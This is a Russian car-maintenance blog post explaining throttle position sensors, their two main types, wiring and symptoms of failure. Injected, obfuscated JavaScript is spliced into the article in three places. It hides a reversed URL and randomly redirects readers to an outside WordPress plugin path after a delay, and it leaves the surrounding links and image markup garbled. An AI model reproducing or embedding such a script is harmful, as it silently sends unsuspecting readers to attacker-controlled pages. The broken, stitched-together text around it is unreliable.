Датчик дроссельной заслонки: секреты ответственного элемента
Чтобы в двигателе всё работало слажено, необходим контроль, осуществляемый не только водителем, но ещё и различными блоками управления. Их ушами и глазами выступают всевозможные датчики, в том числе и датчик дроссельной заслонки. Попробуем раскрыть секреты этого маленького, но важного элемента.
[contents]Оглавление
Зачем нужен датчик дроссельной заслонки?
Для начала проясним некоторые нюансы. $NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/ustrojstvo-forsunki-dizelnogo-dvigatelya.html» target=»_blank» rel=»noopener noreferrer»>форсункам, а также момент зажигания. Без такого датчика современный мотор ждёт масса неприятностей.
К примеру, он может неожиданно заглохнуть на холостых, обороты начинают плавать или прыгают хаотично. В конце концов, если датчик дроссельной заслонки вдруг откажет, то на панели приборов загорится надоедливый значок ChekEngine, призывающий Вас как можно скорее заехать в автосервис.
Какие бывают ДПДЗ?
Как мы с Вами видим, датчик положения дроссельной заслонки – элемент хоть и скромный, но ответственный. Давайте откроем его и посмотрим что внутри. Существует несколько его разновидностей:
- на основе потенциометра;
- на основе магниторезистивного датчика (бесконтактный).
В первом случае конструкция представляет собой самый обычный переменный резистор, электрическое сопротивление которого меняется при повороте оси заслонки. Узел имеет, как правило, три контактных вывода.
Один – земляной (масса), второй – информационный, подключаемый к входным цепям контроллера или электронного блока управления, и третий – для подачи напряжения около 5 Вольт. В полностью открытом положении заслонки напряжение на информационном выводе такое же как и питающее – порядка 5 В, а в закрытом – минимальное, практически 0 В.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2017/02/drosseldat.png» alt=»Дроссельная заслонка с датчиком её положения» width=»700″ height=»601″/></p><p>Более интересным и надёжным является магниторезистивный датчик дроссельной заслонки. Его неоспоримым плюсом выступает отсутствие каких-либо соприкасающихся и трущихся деталей. Работает он благодаря магниту, закреплённому на оси заслонки, который действует своим полем на специальный элемент.</p><p>Поворачиваясь на оси, магнит отдаляется или приближается к элементу, от чего его сопротивление меняется. Дальше всё как и в обычном ДПДЗ – от одного из трёх контактов сигнал попадает в блок управления мотором.</p><h2><span id= "Дроссельная заслонка с датчиком её положения")
Если с мотором что-то не то…
Мы уже упоминали, что неисправность датчика дроссельной заслонки может привести к неприятным последствиям. Остановимся ещё раз на моментах, которые могут свидетельствовать о выходе из строя ДПДЗ.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2017/02/raspolog.png» alt=»Датчик положения дроссельной заслонки» width=»600″ height=»367″/></p><p>Среди них такие:</p><ul><li>силовой агрегат стал хуже заводиться;</li><li>появились резкие скачки мощности;</li><li>обороты на холостом ходу выше привычных;</li><li>авто неожиданно глохнет на холостых;</li><li>возрос расход горючего;</li><li>вялый отзыв двигателя на нажатие педали газа.</li></ul><p>Любой из перечисленных симптомов может говорить о том, что датчик дроссельной заслонки вышел из строя. В принципе, это не такая уж большая редкость, особенно если в машине стоит классический элемент на базе потенциометра. Иногда проблема решается путём регулировки датчика, но если он просто-напросто износился, то решение одно – замена, причём эта операция под силу большинству автовладельцев.</p><p>Надеюсь про этот датчик было познавательно. Не забывайте приходить на наш блог за информацией и оставлять комментарии.</p> <div class= "Датчик положения дроссельной заслонки")
